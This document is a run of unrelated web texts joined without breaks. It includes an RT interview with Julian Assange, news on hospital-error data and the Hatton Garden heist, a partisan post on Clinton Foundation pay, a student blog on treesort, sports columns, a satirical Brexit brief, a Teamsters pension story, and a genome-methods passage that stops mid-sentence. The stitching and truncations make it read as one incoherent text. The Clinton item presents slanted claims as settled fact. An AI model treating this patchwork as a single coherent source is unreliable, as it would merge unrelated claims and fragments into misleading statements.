JA: There is a number of reasons why we released it now. The primary one is that we are a small organization, although a very committed one. Last year we came under extraordinary attack. All these things continue to go on. And so they’ve really dampened down our ability to move quickly and publish quickly.
The timing is good. Obama has given up on closing Guantanamo and has decided to re-open the trial process. And we now have a situation where even the Obama administration says that 48 of those people still in Guantanamo are completely innocent and they should be sent somewhere, and they are not being sent anywhere. So, completely innocent people are incarcerated for years and years and years with no trial and no hope of relief. No country would agree to house them, including the United States. But the United States has made them its problem.
The United States was involved in rounding up these innocent people, setting up a process that was from the very beginning corrupt. There is a reason why they are in Guantanamo and not on the US mainland and not in an allied country. And that reason was to hide them and to keep them outside of the law. Just like you have Caribbean islands engaged in money laundering, the United States is engaged in people laundering.
RT:Let me talk about your media partners, one of which is The Guardian, with whom you're now involved in a dispute. But you chose them as your primary English-language partner for distributing the WikiLeaks cables. And now Guardian journalists have published this book on WikiLeaks, which you say is an attack on you. How would you describe, following that, The Guardian’s stance on whistleblowing and media freedom in general?
JA: They are a publishing organization, and so, of course, they want as much rights over publishing them as possible, that's a natural self-interest. What they have done with this cable-cooking in this incredible over-redaction of cables is they have pushed the right of the people to know to the very, very edge. And what they are concerned about is any possible attack on them.
But we have seen this sort of abuse of the material that we have provided several times. The Guardian is the worst offender, but we saw it also by The New York Times. The New York Times redacted a 62-page cable down to two paragraphs. And this is completely against the agreement that we originally set up with them on November 1, 2010. That agreement was that the only redactions that should take place are to protect people's lives. There should be no other redaction, not to protect reputation, not to protect The Guardian's profits, but only to protect lives.
What happens in the West is that there is no border between state interest and commercial interest. The edges of the state, as a result of privatization, are fuzzed and blurred out into the edges of companies. So, when you look at how The Guardian behaves, or how The New York Times behaves, it is part of that mesh of corporate and state interests seamlessly blurring into each other. The Guardian is concerned predominantly about being criticized by these powerful interests, about lawsuits against it driven by oligarchs, driven by people powerful enough to push a court case forward.
RT: Let’s talk a little bit about you and what you are going through at the moment. You are currently fighting extradition to Sweden. What are your fears should you be extradited there?
JA.: The problem is in two parts. The United States is trying to get up an extradition case for me to the United States. Just today we saw a new subpoena coming out of the secret grand jury that is operating in Alexandria, Virginia, and it’s trying to get up that espionage case against us. It is building that case, and whatever country I am in, once it decides to indict, they will try to extradite me from that country, and possibly not just me, possibly our other staff.
The other problem with the Swedish extradition is that the process itself has been corrupted. It was corrupted from the very beginning. We’ve seen corruption in Swedish media, we’ve seen all sorts of strange actions in relation to how this case is progressed.
RT: What message do you think you would send to the world, if the UK did turn around, almost unexpectedly at this point, it seems, and refuse to extradite you?
JA.: It depends on to which country. Here is the sort of calculation that’s going on in the United Kingdom. The United Kingdom wants to keep its good relationships with the United States. So, if the UK was to reject the US extradition order, that would pose terrible problems for it. Similarly, if it was to reject the Swedish extradition order, that would pose problems for it, because it would look like it was seeking to harbor me. And this is the sort of difficult situation that Afghanistan faced when it appeared as if it was harboring bin Laden, and as a result there was an aggressive response. Any country which appears to be harboring us, as the United States is trying to conduct its aggressive response, faces political pressures. If the United Kingdom does attempt to extradite me to the United States, then it faces a difficult position politically. The bulk of the people in the United Kingdom support us.
RT: And finally, Julian, who do you consider to be your No. 1 enemy?
JA: Our No. 1 enemy is ignorance. And I believe that is the No. 1 enemy for everyone – it’s not understanding what actually is going on in the world. It's only when you start to understand that you can make effective decisions and effective plans. Now, the question is, who is promoting ignorance? Well, those organizations that try to keep things secret, and those organizations which distort true information to make it false or misrepresentative. In this latter category, it is bad media.
It really is my opinion that media in general are so bad that we have to question whether the world wouldn't be better off without them altogether. They are so distortive to how the world actually is that the result is… we see wars, and we see corrupt governments continue on.
One of the hopeful things that I’ve discovered is that nearly every war that has started in the past 50 years has been a result of media lies. The media could've stopped it if they had searched deep enough; if they hadn't reprinted government propaganda they could've stopped it. But what does that mean? Well, that means that basically populations don't like wars, and populations have to be fooled into wars. Populations don't willingly, with open eyes, go into a war. So if we have a good media environment, then we also have a peaceful environment.
RT: Thank you very much.Close
The U.S. government has removed public access to data that previously disclosed life-threatening hospital errors.
The U.S. Centers for Medicare and Medicaid Services (CMS) retained a list of avoidable errors, which was called "hospital acquired conditions" (HACs). This data was available for public access on the agency's Hospital Comparison website. However, the list is no longer accessible to the public who can possibly research about a hospital before taking a decision to get treated in the facility.
Instances such as a foreign object being left in a patient during a surgery, wrong-type of blood given to people and many such life-threatening hospital errors appeared on the database.
In 2013, CMS removed eight of the avoidable HACs from its Hospital Comparison website. However, CMC still kept a spreadsheet of the HACs, which was available to patient advocates, special researchers and people who can understand them. A recent report suggests that this spreadsheet has now been removed.
The Hospital Comparison website now provides details of only 13 conditions, which includes the rate of diseases contracted by a patient after a surgery. Aaron Albright, who is a CMS spokesman, says that the new data available on the comparison site is per the advice received from National Quality Forum (NQF), which is a non-profit organization dedicated to improve healthcare service that also evaluates performance measurements. Albright says that the new data available on the Hospital Comparison website is "most relevant to consumers."
"NQF's mission is to improve the quality of healthcare. Patient safety is central to achieving our mission. We know that reducing harm and preventable medical errors saves lives and lowers healthcare costs, a goal shared by everyone that touches the healthcare system," reads a NQF patient safety statement.
A NQF spokesperson says that it is not appropriate to compare hospitals, but some experts believe that it is a consumer's right to access HACs information and NQF should not advise CMS to remove the HACs from their comparison site.
CMC says that there are many surgeries that take place in a hospital on a regular basis. However, the percentage of errors is very rare. CMC revealed that it is working on a new set of measurements, which will record hospital errors.
Nancy Foster, quality and patient-safety vice president for the American Hospital Association, points out that details of a mistake reported by a hospital should be accurate and reliable or it does not benefit consumers or hospitals.
ⓒ 2018 TECHTIMES.com All rights reserved. Do not reproduce without permission.This article is over 3 years old
Defendants charged in connection with theft of jewels, cash and valuables believed to be worth more than £10m appear at Woolwich crown court
Four men have pleaded guilty to plotting the Hatton Garden heist, in which a gang broke into a concrete vault and stole £10m worth of valuables from scores of safety deposit boxes.
Three pensioners were among those who admitted involvement in the raid that captured the public’s imagination.
John Collins, 74, of Islington, north London; Daniel Jones, 58, of Enfield, north London; Terry Perkins, 67, also of Enfield; and Brian Reader, 76, of Dartford, Kent, pleaded guilty on Friday to conspiracy to burgle with intent to steal jewellery.
The burglary in Hatton Garden, London, over Easter weekend is believed to have led to around £10m worth of jewels, cash and other valuables being stolen by a gang who bored a hole through a thick concrete wall to enter the vault in the heart of the diamond district.
A total of nine defendants appeared at Woolwich crown court, including two who have yet to enter pleas.
Hugh Doyle, 48, of Enfield; William Lincoln, 60, of Bethnal Green, east London; and John Harbinson, 42, of Benfleet, Essex, denied conspiracy to burgle and are due to face trial on 16 November.
All seven who entered pleas denied a second charge of conspiracy to convert or transfer a quantity of jewellery and other stolen goods between 1 April and 19 May.
The Crown said it would not be pursuing the second charge against the four who had admitted conspiracy to burgle in light of those pleas.
The nine defendants at the hearing sat in a dock behind a Perspex screen, flanked by 13 security guards. The judge asked prosecutor Philip Evans to make sure he spoke into a microphone so the accused could hear the proceedings.
During the heist the gang rifled through 72 secure boxes. Detectives believe they have recovered most of the valuables stolen in the raid.
Police were alerted to the Hatton Garden safety deposit burglary just after 8am on Tuesday 7 April, after the Easter holiday weekend, during which time the facility was closed.
Those behind the theft disabled a lift and clambered into the basement via the shaft before drilling into the vault walls with heavy-duty tools. There had been no forced entry.
Facebook Twitter Pinterest A hole in the concrete wall at the Hatton Garden Safe Deposit company. Photograph: AFP/Getty Images
A diamond-tipped drill was used to bore holes into the vault wall and was recovered from the scene. The wall was 2 metres thick and made of reinforced concrete. A hole 25cm high and 45cm wide was cut 89cm off the ground. Police were surprised by the tiny size of the hole.
Detectives and forensic experts were confronted by a chaotic scene, with dust, debris and discarded safety deposit boxes scattered throughout.
Paul Reader, 50, of Dartford, and Carl Wood, 58, of Cheshunt, Hertfordshire, are yet to enter pleas.
Police were criticised before they made arrests after it emerged they had ignored a burglar alarm that went off at the building while the thieves were inside.
Some 200 officers staged raids to arrest the suspects, after which police hit back: “At times we have been portrayed as if we’ve acted like ‘Keystone Cops’,” Commander Peter Spindler said. “I want to reassure you that in the finest traditions of Scotland Yard these detectives have done their utmost to bring justice for the victims of this callous crime.”
Friends and family of those accused watched from the public gallery.It comes as no surprise, especially considering the article that True Activist published recently with a video of Hillary Clinton’s biggest lies, that Clinton has been found guilty of engaging in gender pay disparities between her own employees while she delivers speeches about closing the pay gap.
The Daily Caller recently investigated the latest tax forms filed by The Clinton Foundation and found that women in executive positions were paid 38% less than the men in similar positions.
If that number isn’t shocking enough, perhaps breaking it down into concrete salaries will be. On average, the top male executives earn $109,000 more than the top female execs in Clinton’s organization.
After going through the foundation’s 2013 IRS Form 990 it was found that Frederick Post, Director of Sponsor and Marketing, received $484,000 in annual compensation. He was the company’s highest paid executive.
The highest paid woman of the Clinton Foundation is CEO Virginia Ehrlich, whose pay was less than half of Post’s at $201,000. Not that this is a low salary in general, but there is a serious disparity between Ehrlich and her male counterpart.
Bruce Lindsey, a chairman on the Board for the foundation, is still paid almost double what Ehrlich owns, earning $395,000 annually.
Of the eleven executive positions in the foundation’s C-Suite, eight men and three women fill the roles. All eight of the men earn above $200,000, while the female CEO of the foundation is the only female who earns more than that (by only $1,000 more…).
As far as pay gaps go, this gap is huge and in the hundreds of thousands. In 2015, female full-time workers earned 21% less than male full-time workers, meaning The Clinton Foundation’s 38% pay gap is nearly double the national average.
Yet as the election goes on, Clinton’s supposedly firm stance on closing the pay gap continues to make its way into her speeches.
In a speech from last year, she said,
“Too many people view it as a women’s issue as opposed to what it truly is — it’s an economic growth issue. And it will be great for the American economy when we finally close that gap.”
Just last month she delivered a speech in Silicone Valley and remarked,
“It is way past time to end the outrage of so many women still earning less than men on the job.”
As if this evidence of furthering the gender gap within her own foundation isn’t enough, Clinton also has a history of paying women less than men in both her Secretary of State office and Senate office. While she was a senator, the pay gap was about 28%.
It’s truly disappointing that, as a female candidate, Clinton is publicly pushing heavily for equal rights for women but isn’t willing to put in the work to close the gender gaps she has control over.Treesort, or how I learned to keep trying and avoid Google
Nicolás Siplis Blocked Unblock Follow Following Nov 11, 2015
Here’s some context for those of you who don’t know me, and since I’m a 19 year old argentine student that probably includes pretty much every single person reading this post. I’m in my first year of computer engineering, loving it so far and can’t wait for the next one.
We started looking at recursion and tree-like structures this semester, and as you probably know one of the most simple structures to study is the binary tree. Not gonna get into specifics, just remember that a balanced binary tree allows us to insert and search for a node in O(log n) time.
We had seen sorting algorithms previously, and the complexity of the ones we studied (insertion and bubble sort) was O(n²) in both cases. So, now you have a first year student who thinks he’s on to something. If inserting and retrieving nodes from a balanced binary tree is O(log n), I realized I could construct a binary tree from an array and then sort it in O(n log n) by reinserting the elements from the tree.
At this point, I actually got excited! Up until then, most of the things we had done were pretty much direct applications of what we had been taught, creativity not being the most useful quality. However, I had come up with a sorting algorithm from scratch! Well, not really from scratch since I was just combining two highly related concepts. But still, not bad for my second semester!
Naturally I wanted to brag about my discovery to someone, so I created a basic implementation of the algorithm and compared it with the insertion and bubble sorts. It took a bit longer than expected since I had to actually learn how to create a self balancing binary tree (which I suspect will come in handy next year). However, after some time and effort I got everything to work.
As expected, the “new” sorting method was significantly faster than both bubble and insertion sort. I walked up to the professor after class and talked to him about it. He let me ramble on and on about how I came up with it, how it worked and the speed comparisons. Once I was done, the conversation went something like this.
“So, you implemented treesort.”
“What?”
“Yeah, it’s a pretty well known sorting algorithm. Not the fastest but it does have some pretty cool properties.”
“So someone already thought of all this?”
“Yep.”
“… I need to learn how to Google before getting excited.”
I’m going to take a wild guess and say that 100% of the ideas I’ll think of in the years to come have already been implemented, discussed and improved dozens of times long before I was born. Googling them might be faster, but luckily I’m not a computer so I don’t care about speed. I care about having fun, and coming up with an algorithm on my own (and learning a whole lot in the process) was really, really fun.
Besides, if people call Columbus the discoverer of America then I sure as hell can call myself the discoverer of Treesort.Find An Event Create Your Event Help Foodprint LA Walking Tour Meet at Villains Tavern
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Event Foodprint LA Walking Tour For Foodprint LA, we are adding two new events in addition to our regular program: an afternoon foodscape-mapping walk that will give us an inside look at downtown LA's cold storage infrastructure, caffeine artisans, and future food market, followed by a happy hour food map presentation and party.
The Downtown Los Angeles Arts District was, until recently, known as the Warehouse District, and it is still a major food processing and cold storage hub directly connected by rail to the Port of Los Angeles. However, thanks to the peculiarities of its zoning and building stock, the neighborhood has become home to artists' live-work studios, and, increasingly, to a new wave of creative food-based businesses.
We'll have the opportunity to see both the old and the new first hand, and hear directly from the business-owners, entrepreneurs, developers, and city officials involved. En route, we'll check out the coffee-roasting infrastructure of LA's celebrated Handsome Coffee, explore the inside of West Central Produce's state-of-the-art banana ripening facilities, preview a future Ferry Building-style food market, and more.
We're excited to have a special guest guide, Alissa Walker, leading the tour along with Foodprint Project co-founders Sarah Rich and Nicola Twilley. We'll also be collectively mapping the foodscape as we see it, using our cellphones, in a participatory cartographic activity led by civic media and gaming researcher, Benjamin Stokes.
Tickets cost $15, and will be on sale until 1pm on Friday, December 7 (or until they are sold out). The walk will go ahead rain or shine.
When the sun goes down, we'll end up at Villains Tavern, where you can join us to talk food, cities, and design. We'll have a reserved space from 5 p.m. to 7 p.m. in the upper level of the bar, where we'll be reviewing and discussing the food maps we made during the day.
We hope to see you there, and again the following day, for our free public conversation program at LACMA. Location Meet at Villains Tavern (View)
1356 Palmetto Street
Los Angeles, CA 90013
United States 1356 Palmetto StreetLos Angeles, CA 90013United States
Categories Education > Tours Food > Markets & Farms Food
Kid Friendly: No Dog Friendly: No Contact Owner: foodprintproject On BPT Since: Nov 26, 2012 Foodprint Project foodprintcity@gmail.com... foodprintproject.com/la-wa...
Ask a question... Ask!Randy Johnson called his shot in the USC alumni game and *almost* hit a home run
Screenshot via Randy Johnson on Instagram.
When we think of Randy Johnson, we think of his talent on the mound. We think of his five Cy Young Awards and his 4,875 career strikeouts -- that's why he's in the Hall of Fame. But what if all this time we've spent appreciating him as a pitcher, we've been missing what was right in front of us?
The Big Unit can mash.
At the University of Southern California's old-timers alumni game on Sunday, Johnson stepped to the plate to show off his bat. He took one pitch, and then pointed off into the distance -- yes, he was calling his shot. He would deposit the baseball over the left-field fence, Babe Ruth-style.
He almost succeeded, too.
Great to be back at #USC baseball alumni game at Dedeaux Field were it all started.#CallingMyShot #TheHit @sctrojans_baseball @old_robo A video posted by Randy Johnson (@rj51photos) on Jan 29, 2017 at 2:08pm PST
Johnson's hit fell just shy of the fence, giving him a long single (he might've taken two, but hey, the man's 53 years old). Still, it should be a reminder to all of us: Johnson is more than just one of the greatest pitchers in MLB history.
After all, this is the man who is tied as the second-tallest player to ever hit a home run in MLB:
So, next time someone tries to tell you that Johnson can't bring it at the plate, you can just go ahead and give 'em this look:Rejoice, people of Britain! The “sunlit uplands” beckon!
Following the country’s brave, momentous decision to leave the European Union, the brilliant post-Brexit future is beginning to come into view.
Manufacturing is humming. Retail sales are soaring. Property prices are rising to ever-dizzier heights. And the tortuous process to officially quit the EU has barely begun.
Look at how those thuggish eurocrats are treating poor Apple, forcing it to cough up billions in back taxes, despite its perfectly reasonable agreement with Ireland to pay as little as 0.005% tax on its European earnings. Free from the suffocating grip of Brussels, the UK can welcome the shell companies of the world with open arms to a lightly regulated offshore business hub. Why should companies settle for the British Virgin Islands—so hot this time of year—when they can squirrel away profits on the British island?
The more reasonably valued pound—down 10% against the dollar since the Brexit vote—is already encouraging a flurry of activity. The ultra-rich are buying more Swiss watches at London boutiques. Foreign conglomerates are snapping up Britain’s most innovative companies. The boost to exports will reduce the country’s large trade deficit. (Buy British!)
The cabinet held its first Brexit brainstorming session this week, a high-powered meeting of the government’s sharpest minds (and Boris Johnson). In due time, prime minister Theresa May will surely explain in great detail what she means by her oft-repeated mantra “Brexit means Brexit.” The newly formed Department for Exiting the European Union is already off to a flying start—it has a beloved Twitter presence and is definitely, probably, not holding its meetings at Starbucks anymore.
Ignore the haters—Britain has a glorious future outside of the EU. Yes, many of Brexit’s supporters said they hoped it would curb immigration and reverse globalization. It may be a shock, at first, when they realize many in May’s government actually have the opposite in mind. But they will come around when the country restores its status as a proud, open, and independent trading nation. Move over, Macau! Step aside, Singapore! Britain is open for business!
This was published in the weekend edition of the Quartz daily brief. To get the daily brief in your inbox six days a week, tailored for morning delivery in Asia, Europe and Africa, or the Americas, sign up here.A data set comprehensively covering the three domains of life was generated using publicly available genomes from the Joint Genome Institute's IMG-M database (img.jgi.doe.gov), a previously developed data set of eukaryotic genome information30, previously published genomes derived from metagenomic data sets7,8,31,32 and newly reconstructed genomes from current metagenome projects (see Supplementary Table 1 for NCBI accession numbers). From IMG-M, genomes were sampled such that a single representative for each defined genus was selected. For phyla and candidate phyla lacking full taxonomic definition, every member of the phylum was initially included. Subsequently, these radiations were sampled to an approximate genus level of divergence based on comparison with taxonomically described phyla, thus removing strain- and species-level overlaps. Finally, initial tree reconstructions identified aberrant long-branch attraction effects placing the Microsporidia, a group of parasitic fungi, with the Korarchaeota. The Microsporidia are known to contribute long branch attraction artefacts confounding placement of the Eukarya33, and were subsequently removed from the analysis.
This study includes 1,011 organisms from lineages for which genomes were not previously available. The organisms were present in samples collected from a shallow aquifer system, a deep subsurface research site in Japan, a salt crust in the Atacama Desert, grassland meadow soil in northern California, a CO 2 -rich geyser system, and two dolphin mouths. Genomes were reconstructed from metagenomes as described previously7. Genomes were only included if they were estimated to be >70% complete based on presence/absence of a suite of 51 single copy genes for Bacteria and 38 single copy genes for Archaea. Genomes were additionally required to have consistent nucleotide composition and coverage across scaffolds, as determined using the ggkbase binning software (ggkbase.berkeley.edu), and to show consistent placement across both SSU rRNA and concatenated ribosomal protein phylogenies. This contributed marker gene information for 1,011 newly sampled organisms, whose genomes were reconstructed for metabolic analyses to be published separately.
The concatenated ribosomal protein alignment was constructed as described previously16. In brief, the 16 ribosomal protein data sets (ribosomal proteins L2, L3, L4, L5, L6, L14, L16, L18, L22, L24, S3, S8, S10, S17 and S19) were aligned independently using MUSCLE v. 3.8.31 (ref. 34). Alignments were trimmed to remove ambiguously aligned C and N termini as well as columns composed of more than 95% gaps. Taxa were removed if their available sequence data represented |
. state can replace fossil fuels by tapping into the renewable resources they have available, such as wind, solar, geothermal, hydroelectric, as well as small amounts of tidal and wave power.
The authors found that converting the nation's energy infrastructure into renewables is ideal because it helps fight climate change, saves lives by eliminating air pollution, creates jobs in the rapidly booming renewable energy sector and also stabilizes energy prices.Under normal circumstances it wouldn't reflect particularly well on Arsenal that a Leicester City player was unable to decide whether to join them. But these are not normal times, and what could potentially be a transformative signing, that of Jamie Vardy, is now on hold. Perhaps that is no disaster: The more time you have to consider the potential deal, the more it starts to make sense.
It is true that the final Premier League table suggests making the move would be a literal step down for Vardy, even if the pay packet on offer, reportedly around £140,000 a week, suggests otherwise. Moreover, there's an argument to be made that the anti-establishment, insurrectionary force of Leicester stand a better chance of going deeper into next season's Champions League than Arsenal, who have established a reliable glass ceiling in the round of 16.
You can understand why Vardy would want to take his time over the decision. But when the final reckoning comes, after England's Euro 2016 campaign comes to a close with either the expected heartache or the most brilliant glory, you imagine that the lure of playing for a historic team with designs on being a genuine super club, with all the attendant profile and income that generates for players, will sway Vardy's mind.
Arsenal must pursue other targets in the meantime -- recruiting a striker has to be the priority this summer and it cannot be Vardy or nothing -- but a little wait, perhaps as little as three weeks, gives them more time to carefully think over what is quite a counter-intuitive move.
Leicester's Jamie Vardy scored 24 Premier League goals in 2015-16.
It could be argued that Vardy is not the right fit for an Arsene Wenger team. He was catapulted to prominence in a Leicester side designed to excel on the counter-attack, happy to cede possession while sitting back like a coiled spring and then unloading when space opened up. Undoubtedly this presents a big challenge for Vardy. Not only do Arsenal play a passing game, they afford their players the kind of freedom that Leicester, more carefully drilled and better organised, do not.
It is a very different skill, trying to a pick a way through two banks of four sitting on the edge of their own box than it is running in behind an over-committed defence from 40 yards and slotting the ball away. But then again, when teams finally worked Leicester out around March and dropped deep, Vardy still excelled.
The hope, if Arsenal do complete the transfer, is not only that Vardy will adapt to his new club, but that his new club will also adapt to Vardy, co-opting some of Leicester's pacey attacking even if they will not renounce the overarching style Wenger has cultivated over 20 years, which involves keeping the ball and using it beautifully. The two strands are compatible: In the Double-winning season of 1997-98, the guile of Dennis Bergkamp was matched by the electric pace of Marc Overmars and later Nicolas Anelka. Arsenal were fearsome counter-attackers then, as they were in the Invincibles season of 2003-04, when a great many goals came from rapid incisions into the opposition penalty area.
This element of Arsenal's attacking character has been gradually suppressed over the past decade, a time which has seen a growth in sterile domination, to borrow a phrase from Wenger. It is not unreasonable to wonder if buying a player as direct as Vardy would encourage them to revisit one of the facets which once made them the best team in the land.
Furthermore, the main reason Arsenal finished second rather than first was their poor conversion rate in front of goal with so many chances being wasted. Alexis Sanchez, Theo Walcott and Olivier Giroud all suffered prolonged droughts. In fact only three players scored 20 or more goals in the Premier League last season: One is too expensive, Sergio Aguero, one is politically impossible, Tottenham's Harry Kane, and the other is Jamie Vardy.
He might be 29 but for a few years, injuries permitting, you know you will get a rapid, dangerous striker who offers different qualities to those already in the team, or in the case of Walcott, greatly enhanced ones. And his release clause of £20 million is hardly a huge price in what could be the biggest summer of largesse in Premier League history, with the new TV deal coming into effect.
Tony Evans made the convincing argument that he has the exact kind of persona -- hard, nasty but nevertheless a genuinely popular figure with his teammates, who all congregated at his house for a party to watch Tottenham hand Leicester the title with a 2-2 draw at Chelsea -- that Arsenal need right now.
He could be a huge Francis Jeffers-esque flop, or he could have a transformative impact on Arsenal's style and culture, in a dressing room whose usual social media output is dominated by selfies. Either way, it looks increasingly like it would be worth the wait to find out.
Tom is one of ESPN FC's Arsenal bloggers. You can follow him on Twitter @tomEurosportStory highlights Lewis Hamilton wins German GP
Moves 19 points clear after Nico Rosberg finishes fourth
Daniel Ricciardo finishes second, Max Verstappen third
(CNN) Lewis Hamilton opened up a 19-point lead at the top of the Formula One drivers' championship after he cruised to victory at the German Grand Prix.
It was a double blow for Mercedes teammate Nico Rosberg, as he was handed a five second penalty for forcing Max Verstappen off the track and finished fourth in his own back yard.
Hamilton's lead marks a remarkable turnaround for the three-time world champion, winning six races out of the last seven to overturn a 43-point deficit to Rosberg after a poor start to the season.
HAM: "What a great start! My engineer did a great job - the balance was amazing" #GermanGP #F1 pic.twitter.com/wDBSKInWaA — Formula 1 (@F1) July 31, 2016
"What a race, what a fantastic start," Hamilton told reporters after the race, referring to his jump from second to first off the grid.
"It was just about keeping it cool. This is a very proud position to be in and thank you to the team, who did a fantastic job.
Read MoreWASHINGTON — Cuts proposed by the Teamsters Central States Pension Fund will touch retirees and workers in every corner of Minnesota, a document just released by the Pension Rights Center reveals.
A state-by-state analysis that carries the Central States fund logo details the expenditures driving the giant union retirement fund’s request to slash retirement benefits under a new pension law passed in 2014. Trustees insist it’s the only way to save the fund from insolvency.
The deep cuts will resonate in every Minnesota congressional district with the Sixth and Eighth Districts having the most people at risk, the document shows.
The breakdown underscores the deep financial reach of the multiemployer retirement plan in Minnesota, where payouts generate millions of dollars in federal taxes and help fuel local communities. In Minnesota, the Central States fund pays benefits of about $143 million a year, the report says.
The cuts would shrink the annual payments in Minnesota to about $99 million, the Central States fund said, affecting nearly 15,000 Minnesota workers and pensioners.
In Minnesota, the cuts average about 34 percent but range to 50 percent or more. (Another 7,000 Minnesotans were exempted from cuts because they are over 79 or retired with a Central States disability pension.)
Graphic: Pension cuts hit Minnesota fund participants Graphic: Pension cuts hit Minnesota fund participants
“I think the report will raise awareness among members of Congress who don’t think this is a problem,” said Karen Friedman, executive vice president of the Pension Rights Center, a Washington-based advocacy organization which opposes the cuts. “Every person I’ve talked to is looking at cuts of 40, 50, 60 and 70 percent in their pensions.”
Central States executive director Thomas Nyhan accused the Pension Rights Center of “misrepresenting” the data. Nationwide, the Central States fund is about $16 billion in the red, owing far more in accrued benefits it must pay out than the fund has in assets. In Minnesota, retirees are collecting four times more in benefits than today’s union members contribute to the pension fund, the report shows.
“The data does not address the impact of the proposed Central States benefit reductions,” Nyhan said in a statement to the Star Tribune. “Rather, it quantifies Central States Pension Fund’s total presence in these districts … These documents were prepared by Central States in 2014 in order to illustrate the need to take action to save the fund. The data, including the ‘current pensions at risk,’ demonstrates what the impact would be on each district should the fund become insolvent — a virtual certainty if the rescue plan is not approved and implemented.”
The rescue plan is bitter medicine.
Ham Lake retiree Tim Huettl thinks the collective hit of the proposed pension cuts will leave a mark on Minnesota’s economy.
“It’s going to trickle down really deep as times goes on,” Huettl said.
Huettl, 69, drove trucks for decades for various companies, including USF Holland. He’s facing a 50 percent cut to his monthly $2,627 pretax pension check and considers himself lucky because he and his wife own their own house and she has a 401(k) retirement plan. They live “pretty low key,” he said, and will somehow trim their grocery and entertainment budgets to make things work.
“We’re one of the fortunate ones,” Huettl said.
The U.S. Treasury Department has until early May to rule on the Central States cuts.
Regardless of the decision, many retirees see the requested reductions as a betrayal.
“The economic part of it, I just don’t think most people realize the ripple effect,” said Ronald Buntrock, 71, of Osage, Minn.
22,000 pension plan participants 14,800 participants facing cuts
A retired truck driver, Buntrock said he’s facing a 50 percent cut to his monthly $2,900 pretax pension check. They still owe money on their house, Buntrock said, and he can’t go back to work because of his health. They live on a tight budget, driving cars that are 15 years old.
“This represents people that are going to be losing homes, cars, their futures, their ability to help their kids and their grandkids from now on,” Buntrock said.
The long-standing federal law that once forbade pension cuts changed in 2014 with a piece of legislation slipped into the federal budget by Minnesota Republican Rep. John Kline and California Democratic Rep. George Miller. The Multiemployer Pension Reform Act never came to a debate or vote on the floor of the House.
Instead, it was tacked onto a massive budget bill that needed to pass to keep the government running.
Now, a battle rages in Congress to address what some see as a broken promise.
“A pension crisis has been growing for decades that poses a direct threat to families in Minnesota and across the country,” Kline said in a statement to the Star Tribune. “Unfortunately, opponents of these bipartisan reforms continue to spread fear and misinformation, while also failing to propose a practical alternative that will protect workers, retirees, and taxpayers.”
Minnesota Democratic Sen. Al Franken has co-sponsored a Senate bill to stop the cuts.
“These cuts would have a devastating effect on the retirement security of tens of thousands of Minnesotans,” he said in a statement to the Star Tribune. “Recently published data underscores that alarming fact.”
Democratic Sen. Amy Klobuchar said she supports “efforts to change this law.”
In the House, Minnesota Democrats Collin Peterson, Rick Nolan and Keith Ellison have signed on to a bill to stop the cuts.
The new law requires the government to approve pension reductions to very large plans if those plans are in dire financial shape. Retirees and current workers get to vote on pension cuts, but the way the votes are counted, those who do not vote are assumed to be a “yes” vote for the cuts. Even if workers and retirees vote down the cuts, the Kline-Miller law requires the Treasury Department to implement the cuts if the agency determines that the plan’s failure will cost the government-run Pension Guaranty Benefit Corporation more than $1 billion. Because the Central States fund almost certainly meets that threshold, if Treasury approves Central States’ proposed reductions in May, they will take affect regardless of how plan participants vote.
Those rules cannot change without additional legislation. But bills offered in the Republican-run House and Senate remain in committee for now. The Senate Finance Committee is scheduled to hold an informational hearing about multiemployer pension plans next week. Whether that leads to legislation restoring benefits is unclear.
“There is a fundamental agreement that you don’t cut pensions to retirees,” said Minnesota Democratic Rep. Collin Peterson, who is supporting a bill to outlaw cuts. “There were promises made and people contributed to the funds. I just don’t think it’s fair and we’ve got to do something about it.”
Go here to read the report.We’re just days away from watching Dwyane Wade play in Miami as a member of the Bulls.
That’s going to be strange.
Wade returns to Miami to face the Heat on Thursday (8 p.m., TNT) at AmericanAirlines Arena. It will mark the 12-time All-Star’s first game in Miami since signing with the Bulls as a free agent this past summer.
As you prepare (emotionally and mentally) for the sight of Wade in AmericanAirlines Arena as a member of a team not named the Heat, here’s how the 34-year-old has begun his Bulls career.
What’s new: The Bulls are 4-3 to start the season. And Dwyane Wade is averaging 16.9 points, 4.1 rebounds, 2.9 assists and 1.4 steals per game to start his Bulls career. Maybe the most surprising number is Wade’s three-point percentage. After making 28.4 percent of this three-point shots over his 13 seasons with the Heat, Wade is shooting 43.5 percent from beyond the arc this season. The best Wade shot from three-point range before this season was 31.7 percent in the 2008-09 season. But Wade is also shooting a career-low 44.6 percent from the field this season.
What does Dwyane have to say?: “Anybody could sense that. It’s just the nature of the beast. When someone leaves an organization, they come back, they want to do well. They want to get a win, they want to play well. Whoever says they don’t is just flat-out lying. It’s no secret about that.” — Dwyane Wade after Chicago’s 117-104 loss to New York on Friday. Joakim Noah and Derrick Rose faced the Bulls, their old team, for the first time since joining the Knicks this offseason. Wade will return to Miami to face the Heat on Thursday.
Season stats: 16.9 points on 44.6 percent shooting, 4.1 rebounds, 2.9 assists, 1.4 steals, 0.6 blocks per game in seven games.
Career stats: 23.6 points on 48.7 percent shooting, 4.8 rebounds, 5.8 assists, 1.7 steals and 0.9 blocks per game in 862 regular season games.
[Heat honoring those who have made the ultimate sacrifice by wearing patches]
[James Johnson was in an uncomfortable spot when earthquake hit]
[Want more Heat news sent directly to your Facebook feed? Make sure to like our Heat Facebook page]Tanya Ragan made her first foray into Downtown Dallas' neglected southeastern corner in 2007 when she bought a piece of commercial property there. The Bridge, the city-funded homeless shelter, opened in 2008. In the seven years since, Ragan, who lives in a town home near the Farmer's Market, has established herself as perhaps the loudest opponent of Dallas' long-standing strategy of clustering homeless services in her downtrodden but revitalizing neighborhood. She can barely remember all the times she and her neighbors have helped kill permanent-supportive-housing projects near The Bridge, though she knows that there were four of them. (A fifth, for Family Gateway, had neighbors' support.) Her outspokenness has led to frequent accusations that she's anti-homeless, but she insists she's not. Ragan wants the homeless to get the proper food, shelter and mental health treatment they need; she just thinks those services should be more spread-out and moved elsewhere. She's experienced enough vandalism, trespassing, hyper-aggressive panhandling, public urination/defecation and other quality-of-life issues that she doesn't think such a highly concentrated homeless population can coexist with a revitalized downtown.
